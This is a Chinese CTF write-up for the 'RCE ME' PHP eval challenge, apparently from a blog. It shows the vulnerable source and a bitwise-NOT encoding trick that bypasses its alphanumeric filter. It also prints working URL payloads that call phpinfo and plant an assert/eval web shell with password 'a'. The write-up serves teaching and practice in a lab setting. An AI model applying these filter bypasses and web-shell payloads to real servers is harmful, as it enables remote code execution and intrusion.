[极客大挑战 2019]RCE ME

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

取反和异或均可绕过

<?php
$c='phpinfo()';
$d=urlencode(~$c);
$e=~($d);
if(preg_match("/[A-Za-z0-9]+/",$e)){
    echo 0;
}else {
    echo 1;
}

?>

这个取反号写在外面也没事,慢慢试就发现写里面才有效

?code=(~%8F%97%8F%96%91%99%90)();

然后我找了一下flag发现没有,然后又找了一下不能使用的函数
在这里插入图片描述
在这里插入图片描述
7.0的版本我们还需要
我们需要调用eval拼接为assert(eval($_POST[a]))

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='eval($_POST[a])';
$d=urlencode(~$c);
echo $d;

?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

然后链接

http://a967fa8b-203d-4c2a-b4ab-11c784927d01.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
密码是a

进入之后flag里面没有flag而readflag是一个程序
在这里插入图片描述
进入虚拟终端没有权限
在这里插入图片描述

使用插件
在这里插入图片描述
php7这两个都可以,我们刚才看了php版本的
在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-09 19:42:07       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-09 19:42:07       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-09 19:42:07       45 阅读
  4. Python语言-面向对象

    2024-07-09 19:42:07       55 阅读

热门阅读

  1. Android多用户基础问题

    2024-07-09 19:42:07       26 阅读
  2. VitePress安装部署

    2024-07-09 19:42:07       26 阅读
  3. GPU加速视频编解码技术:原理、优势与应用

    2024-07-09 19:42:07       31 阅读
  4. Linux 搭建 sftp 服务器详解

    2024-07-09 19:42:07       25 阅读
  5. unity获取键盘按键

    2024-07-09 19:42:07       25 阅读
  6. linux的服务管理

    2024-07-09 19:42:07       28 阅读
  7. 等保测评未来发展趋势

    2024-07-09 19:42:07       25 阅读
  8. 区分标量注意力和向量注意力

    2024-07-09 19:42:07       33 阅读
  9. 天线介绍简略

    2024-07-09 19:42:07       23 阅读
  10. 工控、物联网、电力行业调试工具大全

    2024-07-09 19:42:07       39 阅读